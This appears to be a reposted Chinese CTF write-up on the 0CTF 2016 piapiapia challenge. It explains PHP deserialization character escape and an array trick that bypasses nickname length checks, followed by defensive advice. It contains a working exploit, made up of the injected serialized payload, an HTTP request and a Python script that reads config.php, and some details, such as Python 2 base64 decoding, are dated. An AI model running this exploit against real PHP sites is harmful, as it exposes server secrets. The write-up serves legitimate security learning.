当前位置: 首页 > news >正文

PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过

PHP反序列化字符逃逸实战:0CTF 2016 piapiapia漏洞的34字符构造与数组绕过技巧

在CTF竞赛和实际安全测试中,PHP反序列化漏洞一直是Web安全领域的重要考点。本文将深入分析0CTF 2016年piapiapia题目中的反序列化字符逃逸漏洞,重点讲解如何精确计算需要逃逸的34个字符,以及如何巧妙利用数组绕过strlen检查的限制。

1. 漏洞背景与核心原理

PHP反序列化字符逃逸漏洞的本质是序列化字符串的结构被破坏后导致的注入攻击。当序列化后的数据经过过滤函数处理时,如果替换操作导致字符串长度发生变化但序列化格式中的长度标识未同步更新,就会引发解析错误。

在piapiapia题目中,关键漏洞点出现在class.php文件的filter方法:

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

这个过滤函数会执行两个关键操作:

  1. 将单引号和反斜线替换为下划线
  2. 将SQL关键词(select/insert/update/delete/where)替换为"hacker"

漏洞触发流程

  1. 用户提交的数据被序列化
  2. 序列化字符串经过filter函数处理
  3. 处理后的字符串被反序列化

2. 关键漏洞点分析

2.1 长度计算与字符逃逸

我们需要构造的恶意payload是:

";}s:5:"photo";s:10:"config.php";}

这段payload总长度为34个字符,目的是:

  • 闭合当前数组结构
  • 注入新的photo键值对指向config.php

由于where被替换为hacker会导致长度增加("where"是5字符,"hacker"是6字符),我们需要精确计算需要多少个where才能产生34个字符的溢出:

项目原始长度替换后长度差值
1个where56+1
34个where170204+34

因此,我们需要提交34个连续的where字符串,后面跟上我们的恶意payload。

2.2 数组绕过长度限制

题目中对nickname的检查包含:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

这里有两个关键限制:

  1. 只能包含字母数字和下划线
  2. 长度不能超过10个字符

我们可以利用PHP的特性绕过:

  • strlen()对数组返回NULL
  • preg_match()对数组返回false

因此,将nickname设置为数组即可完全绕过这些检查:

nickname[]=payload

3. 漏洞利用实战步骤

3.1 构造完整Payload

最终的Payload结构如下:

wherewherewhere...where";}s:5:"photo";s:10:"config.php";}

其中:

  • 34个连续的where(产生34个字符的溢出)
  • 恶意闭合和注入代码(34个字符)

3.2 实际操作流程

  1. 注册并登录账户:获取有效会话
  2. 修改个人信息:通过数组形式提交nickname
    POST /update.php HTTP/1.1 Content-Type: multipart/form-data nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";}
  3. 触发反序列化:访问profile.php页面
  4. 读取flag:查看返回的base64编码内容并解码

3.3 关键代码实现

以下是利用漏洞的Python脚本核心部分:

import requests import re # 1. 登录获取session s = requests.Session() login_data = {'username':'test', 'password':'test'} s.post('http://target/login.php', data=login_data) # 2. 构造并提交payload payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' files = {'photo': ('test.png', 'test', 'image/png')} data = { 'phone': '12345678901', 'email': 'test@test.com', 'nickname[]': payload } s.post('http://target/update.php', data=data, files=files) # 3. 获取flag r = s.get('http://target/profile.php') flag = re.search(r'base64,(.*?)"', r.text).group(1) print(flag.decode('base64'))

4. 技术细节与原理深入

4.1 序列化字符串变化分析

正常序列化结果示例:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:3:"abc"; s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; }

注入后的序列化字符串:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:204:"hacker...hacker"; // 34个hacker s:5:"photo";s:10:"config.php";}"; // 注入的photo s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; } // 被丢弃的部分

4.2 为什么数组能绕过检查

PHP中strlen()对数组的处理特性:

var_dump(strlen(array())); // NULL var_dump(preg_match('/pattern/', array())); // false

因此当$_POST['nickname']是数组时:

  • strlen($_POST['nickname']) > 10NULL > 10false
  • preg_match()对数组直接返回false

5. 防御方案与最佳实践

针对此类漏洞,开发者应采取以下防护措施:

  1. 输入验证

    if (!is_string($_POST['nickname']) || strlen($_POST['nickname']) > 10) { die('Invalid input'); }
  2. 安全的序列化处理

    // 先过滤再序列化,而不是序列化后过滤 $profile = array_map('filter_input', $_POST); $serialized = serialize($profile);
  3. 使用JSON替代序列化

    // JSON没有PHP序列化的安全问题 $data = json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);
  4. 严格的白名单过滤

    function safe_filter($input) { return preg_replace('/[^a-zA-Z0-9_]/', '', $input); }

通过深入理解PHP反序列化字符逃逸的原理和利用技巧,安全研究人员可以更有效地发现和修复这类漏洞,而开发者则能编写出更安全的代码。在CTF竞赛中,这类题目往往需要参赛者具备代码审计、协议分析和精确计算的能力,是检验Web安全综合能力的绝佳案例。

http://www.jsqmd.com/news/1149764/

相关文章:

  • 安卓逆向签名破解:从Fiddler抓包到JPype调用JAR还原Signature算法
  • OWASP ZAP 2.15.0 进阶模糊测试:3种Payload策略破解DVWA高安全等级
  • PUBG Mobile Radar 1.2 海岛图失效修复:x32dbg 逆向分析 3 步定位地图名偏移
  • Dependency-Check vs Grype:3大维度对比评测,离线扫描准确率与性能实测
  • 腾讯乐加固 v2.10.6 脱壳实战:3步定位并Hook关键Application入口
  • m3u8-downloader:让视频下载像喝水一样简单的跨平台神器
  • 企业微信API 3种消息模板对比:文本、图文与模板卡片的发送效率实测
  • JMeter数据库性能压测实战:从连接配置到瓶颈定位
  • STM32G071RB与AD7490构建高精度数据采集系统
  • Windows Server 2012 R2 IIS 8.5 虚拟机部署:3步配置本地Web服务器与hosts解析
  • Blender 3MF格式导入导出终极指南:让3D打印工作流更完整
  • 东芝TC78H653FTG与PIC18LF46K40的直流有刷电机控制方案
  • Linux Here Document 深度解析:从 cat << EOF 到 exec 5<<EOF 的 4 种重定向
  • Kafka SASL/PLAIN vs SASL/SCRAM:2种认证机制的安全性与配置复杂度对比
  • 企业微信可信域名配置 2024:3种后端服务校验方案对比与避坑指南
  • 高精度ADC ADS1262与PIC18LF4620的工业测量应用
  • Word 插件开发入门:从 .dotm 模板到 COM 加载项的 2 种实现路径解析
  • 当数据生产者变成 Agent,数据库底座如何重构?
  • OpenClaw回调地址配置与本地部署全流程解析
  • Java 17 + MySQL 8.0 机票系统数据库设计:5张核心表与3个关键业务逻辑实现
  • Spring Boot 3.x 电商系统实战:Vue 3 + MySQL 8 构建农产品销售平台
  • Codex CLI本地智能编程助手:离线代码生成与多平台安装指南
  • Pearcleaner:macOS终极清理工具,免费解决应用残留难题
  • STM32温度控制系统:如何实现±0.5°C的高精度PID控制?
  • Cursor自定义模型接入:协议对齐与生产级稳定性实践
  • Minecraft视觉革命:Photon光影包如何重塑方块世界的光影美学
  • Textbus 5.0:面向专业场景的富文本底层框架
  • GitHub中文化插件:三分钟打造专属中文开发环境
  • 为什么Simple Clock是追求纯净体验的Android用户不可错过的选择?
  • 工业负载控制:TPD2017FN与PIC32MZ的智能驱动方案